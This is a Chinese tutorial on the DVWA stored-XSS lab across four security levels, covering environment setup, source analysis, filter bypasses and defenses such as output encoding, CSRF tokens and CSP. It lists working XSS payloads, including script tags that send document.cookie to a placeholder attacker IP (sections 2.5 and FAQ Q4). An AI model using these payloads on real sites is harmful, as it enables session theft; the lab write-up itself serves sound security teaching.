|
重要声明(安全研究边界) |
第一部分:前置准备
1.1 靶场环境搭建
DVWA(Damn Vulnerable Web Application)是一款基于PHP+MySQL的开源漏洞靶场,适合初学者练习XSS等Web安全技术。
推荐使用Docker一键部署(可快速切换安全级别):
# Low级别
docker run –name dvwa-low -d -p 8080:80 vulnerables/web-dvwa
# Medium级别
docker run –name dvwa-medium -d -p 8081:80 -e DVWA_SECURITY_LEVEL=medium vulnerables/web-dvwa
# High级别
docker run –name dvwa-high -d -p 8082:80 -e DVWA_SECURITY_LEVEL=high vulnerables/web-dvwa
# Impossible级别(安全级别,无漏洞)
docker run –name dvwa-impossible -d -p 8083:80 -e DVWA_SECURITY_LEVEL=impossible vulnerables/web-dvwa
- 映射端口建议避开8080(Burp Suite默认代理端口),如8081、8082、8083。
- WSL2用户需使用WSL真实IP访问(ip addr show eth0获取)。
传统手动部署(可选):
1.2 必备工具
- 浏览器:Chrome/Firefox(F12开发者工具)。
- 抓包工具:Burp Suite Community Edition(拦截修改HTTP请求)。
- 辅助插件:HackBar(可选)、Tamper Data(Firefox)。
- XSS payload库:可参考OWASP XSS Filter Evasion Cheat Sheet。
1.3 基础知识储备
- XSS原理:跨站脚本攻击,攻击者注入恶意脚本,当其他用户访问时执行。
- 存储型XSS:恶意脚本存储在服务器端(如数据库),每次加载页面时触发。
- HTML与JavaScript基础:了解标签、事件、伪协议等。
- 常见过滤绕过:大小写混淆、双写、使用其他标签、事件处理器、编码等。
第二部分:Low级别(无防护)
2.1 核心特点
- 无任何XSS防护:仅对输入进行了SQL转义(mysqli_real_escape_string),但对HTML输出未做处理。
- 直接存储:用户输入的message和name原样存入数据库,输出时直接显示,导致任意XSS代码执行。
2.2 源码分析(Low级别)
if( isset( $_POST[ 'btnSign' ] ) ) {
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// 去除反斜杠(如果开启了magic_quotes_gpc)
$message = stripslashes( $message );
// 仅转义SQL特殊字符,对XSS无效
$message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message);
$name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name);
// 直接拼接SQL插入数据库
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query(…) or die( '<pre>' . mysqli_error(…) . '</pre>' );
}
- 关键缺陷:没有任何HTML过滤,<script>等标签原样存入数据库。
- 输出点:在显示留言板时,直接输出数据库中的内容,没有经过htmlspecialchars等转义,因此脚本会执行。
2.3 攻击原理
攻击者在输入框中提交包含JavaScript代码的字符串,例如<script>alert('XSS')</script>,该代码被存入数据库。当其他用户访问留言板页面时,服务器从数据库取出并直接输出到HTML中,浏览器将其解释为脚本并执行。
2.4 实操步骤
2.5 典型Payload
- 基本弹窗:<script>alert('XSS')</script>
- 窃取Cookie:<script>document.location='http://攻击者IP/cookie?c='+document.cookie</script>
- 其他标签:<img src=x οnerrοr=alert(1)>
第三部分:Medium级别(部分过滤)
3.1 核心特点
- 对message字段:使用strip_tags、addslashes、mysqli_real_escape_string、htmlspecialchars多层过滤,基本杜绝XSS。
- 对name字段:仅使用str_replace('<script>', '', $name)简单替换,然后mysqli_real_escape_string,存在绕过可能。
- 输出:仍直接输出,未进一步转义(但存储时已经对message做了htmlspecialchars,所以message安全)。
3.2 源码分析(Medium级别)
if( isset( $_POST[ 'btnSign' ] ) ) {
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// message的过滤链
$message = strip_tags( addslashes( $message ) ); // 先strip_tags去掉HTML标签,再加反斜杠
$message = mysqli_real_escape_string(…, $message ); // SQL转义
$message = htmlspecialchars( $message ); // HTML实体转义
// name的过滤
$name = str_replace( '<script>', '', $name ); // 仅删除<script>标签(不区分大小写?源码中是小写)
$name = mysqli_real_escape_string(…, $name );
// 拼接SQL插入
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
}
过滤分析:
- message:strip_tags会删除所有HTML和PHP标签,因此任何类似<script>的标签都会被移除,无法注入。即使有addslashes和mysqli_real_escape_string,它们不影响标签的存在。所以message字段安全。
- name:仅替换了<script>字符串,不区分大小写?源码中用的是小写'<script>',所以大小写可绕过。另外,还可以使用其他标签(如<img>)或事件处理器。
注意:str_replace只删除第一次出现的<script>?不,它会替换所有出现的子串,但只针对完全匹配的<script>,不会处理嵌套或变体。
3.3 攻击原理
由于name字段只过滤了<script>标签,攻击者可以使用其他HTML标签或利用事件来执行JavaScript,例如<img src=1 οnerrοr=alert(1)>,或者使用大小写混合<Script>(因为替换是小写的,大小写混合不会被替换)。
3.4 实操步骤
<img src=x οnerrοr=alert(document.cookie)>
3.5 典型Payload
- 使用事件:<img src=1 οnerrοr=alert(1)>
- 大小写混合:<Script>alert(1)</Script>
- 其他标签:<body οnlοad=alert(1)>
- 伪协议:<a href="javascript:alert(1)">click</a>
第四部分:High级别(更严格的过滤)
4.1 核心特点
- 对message字段:与Medium相同,经过strip_tags、addslashes、mysqli_real_escape_string、htmlspecialchars,安全。
- 对name字段:使用正则preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name),试图删除任何包含`s c r i p t`字母的标签(不区分大小写),但仍可能被绕过。
- 输出:直接输出,未进一步转义。
4.2 源码分析(High级别)
if( isset( $_POST[ 'btnSign' ] ) ) {
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// message过滤同Medium
$message = strip_tags( addslashes( $message ) );
$message = mysqli_real_escape_string(…, $message );
$message = htmlspecialchars( $message );
// name过滤:正则删除包含s c r i p t字母的标签(允许中间任意字符)
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = mysqli_real_escape_string(…, $name );
// 拼接SQL
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
}
正则分析:
/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i 匹配以<开头,后面跟任意字符(贪婪),然后依次出现`s`、`c`、`r`、`i`、`p`、`t`,最后可能还有任意字符,然后>?注意正则末尾没有>,所以它会匹配到包含这些字母序列的任何标签,例如<script>、<ScRipT>,甚至<img src=x οnerrοr=alert>中的`onerror`里也可能包含这些字母?但`onerror`不是标签,它是属性,而正则要求以<开头,所以只匹配标签名。例如<script>会被删除,但<img>不会被删除,因为不包含连续的s c r i p t。
所以,该正则旨在删除所有包含“script”字样的标签(无论大小写,无论中间有无其他字符)。但是,它只删除整个标签吗?因为(.*)是贪婪的,它会匹配尽可能多的字符,直到最后一个`t`,然后整个被替换为空。例如<script>会被删除,但<script>标签内的内容呢?正则匹配了整个标签,所以标签被删除,但标签内的内容可能残留?实际上,如果输入<script>alert(1)</script>,正则匹配第一个<script>,然后后面的字符直到最后一个`t`?注意贪婪匹配:<(.*)s(.*)c…,第一个(.*)会匹配到最后一个`s`之前的所有字符?由于是贪婪,它会尽可能长,导致可能匹配整个字符串直到最后一个`t`。但正则中分组很多,需要实际测试。但无论如何,这个正则可以被绕过,因为攻击者可以使用其他标签如<img>,或者使用事件,或者使用不包含完整“script”序列的标签,例如<svg οnlοad=alert(1)>。
此外,preg_replace只会删除匹配的标签,但不会删除标签内的属性或内容?例如输入<img src=x οnerrοr=alert(1)>,其中不包含“script”序列,所以不会被删除,XSS依然存在。
4.3 攻击原理
由于正则只删除包含“script”的标签,攻击者可以使用其他HTML标签或事件处理器来执行JavaScript,例如<img src=1 οnerrοr=alert(1)>、<body οnlοad=alert(1)>、<svg οnlοad=alert(1)>等。
4.4 实操步骤
<img src=x οnerrοr=alert(document.cookie)>
4.5 典型Payload
- 事件驱动:<img src=x οnerrοr=alert(1)>
- 其他标签:<svg οnlοad=alert(1)>
- 利用CSS:<div style="background:url('javascript:alert(1)')">(但现代浏览器通常禁止)
- 利用<a href="javascript:alert(1)">click</a>(需要用户点击)
第五部分:Impossible级别(完全防御)
5.1 核心特点
- 多重防御:CSRF令牌防止跨站请求,输入验证,HTML实体转义,参数化查询。
- 彻底阻断XSS:对所有输入输出均进行htmlspecialchars转义,无论存储还是显示都不会执行脚本。
5.2 源码分析(Impossible级别)
if( isset( $_POST[ 'btnSign' ] ) ) {
// CSRF防护
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// 对message进行转义和HTML实体编码
$message = stripslashes( $message );
$message = mysqli_real_escape_string(…, $message ); // SQL转义
$message = htmlspecialchars( $message ); // HTML实体转义
// 对name同样处理
$name = stripslashes( $name );
$name = mysqli_real_escape_string(…, $name );
$name = htmlspecialchars( $name );
// 使用PDO预处理插入数据库
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
安全机制:
- CSRF Token:防止攻击者利用受害者会话提交恶意留言。
- HTML实体转义:htmlspecialchars将<、>、"、'、&等转换为HTML实体,使得任何HTML标签都无法被浏览器解析,所有输入变成纯文本。
- SQL注入防护:同时使用了mysqli_real_escape_string和PDO预处理,双重保险。
- 输出时:由于存储的内容已经是转义后的实体,输出时不会产生新问题(但通常输出时也会再次转义以防二次解码,不过这里存储的是实体,直接输出即可)。
5.3 为什么无法注入?
无论攻击者输入什么,经过htmlspecialchars后,<script>变成<script>,浏览器显示为文本,不会执行。其他攻击向量同样被转义。
第六部分:Low→Medium→High→Impossible对比总结
|
对比项 |
Low级别 |
Medium级别 |
High级别 |
Impossible级别 |
|
message过滤 |
仅SQL转义 |
strip_tags + addslashes + SQL转义 + htmlspecialchars |
同Medium |
stripslashes + SQL转义 + htmlspecialchars |
|
name过滤 |
仅SQL转义 |
str_replace('<script>', '') + SQL转义 |
正则删除script标签 + SQL转义 |
stripslashes + SQL转义 + htmlspecialchars |
|
绕过方式 |
任意XSS |
name字段可用其他标签或大小写绕过 |
name字段可用其他标签(无script)绕过 |
无法绕过 |
|
典型Payload |
<script>alert(1)</script> |
<img src=x οnerrοr=alert(1)> 或 <Script>alert(1)</Script> |
<img src=x οnerrοr=alert(1)> |
无 |
|
CSRF防护 |
无 |
无 |
无 |
有 |
|
预处理 |
无 |
无 |
无 |
有 |
演进启示:
- 简单的黑名单(如替换<script>)极易被绕过。
- 白名单过滤(如strip_tags)能去除所有标签,但会破坏富文本功能。
- 最终解决方案是对输出进行上下文编码(如HTML实体转义),并配合CSRF和参数化查询。
第七部分:防御方案与最佳实践
7.1 根本性措施——输出编码
无论输入如何,在输出到HTML页面时,必须根据上下文进行编码:
- HTML标签内:使用htmlspecialchars(或htmlentities)转义。
- JavaScript中:使用JSON编码。
- URL中:使用URL编码。
7.2 输入验证(白名单)
- 如果业务需要允许用户提交富文本,应使用白名单过滤,只允许安全的标签和属性(如使用HTML Purifier库)。
- 对于简单的文本,直接使用输出编码即可。
7.3 CSRF防护
- 为所有状态改变请求添加CSRF令牌,防止跨站请求伪造。
7.4 内容安全策略(CSP)
- 部署CSP头,限制脚本执行来源,可有效缓解XSS。
7.5 数据库安全
- 使用参数化查询防止SQL注入,但这对XSS无直接帮助,但能防止存储时被注入恶意数据。
第八部分:常见问题排查(FAQ)
Q1:Medium级别中,为什么message字段安全而name字段不安全?
– message经过strip_tags去除了所有HTML标签,因此无法注入任何HTML。而name只过滤了<script>,留下了其他标签和事件。
Q2:High级别中,正则/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i能完全防御script标签吗?
– 不能,因为它只删除匹配的标签,攻击者可以使用其他标签如<img>,或者使用不包含完整“script”序列的标签(如<svg>)。
Q3:Impossible级别中,为什么还要用mysqli_real_escape_string?
– 虽然使用了PDO预处理,但为了兼容旧代码或额外防御,仍然进行了转义。但这不是必须的,预处理已足够。
Q4:如何在Low级别窃取Cookie?
– 使用<script>document.location='http://攻击者IP/?'+document.cookie</script>,然后监听HTTP请求。
Q5:存储型XSS与反射型XSS的区别?
– 存储型:恶意脚本永久存储在服务器上,每次访问页面都触发。
– 反射型:脚本在请求中立即反射回来,需要诱使用户点击恶意链接。
第九部分:核心总结与下一步学习路径
核心总结
下一步学习建议
|
安全警示:本文档所有操作仅限于已授权的DVWA本地靶场环境,严禁用于非法攻击。理解漏洞的目的是为了编写更安全的代码。 |
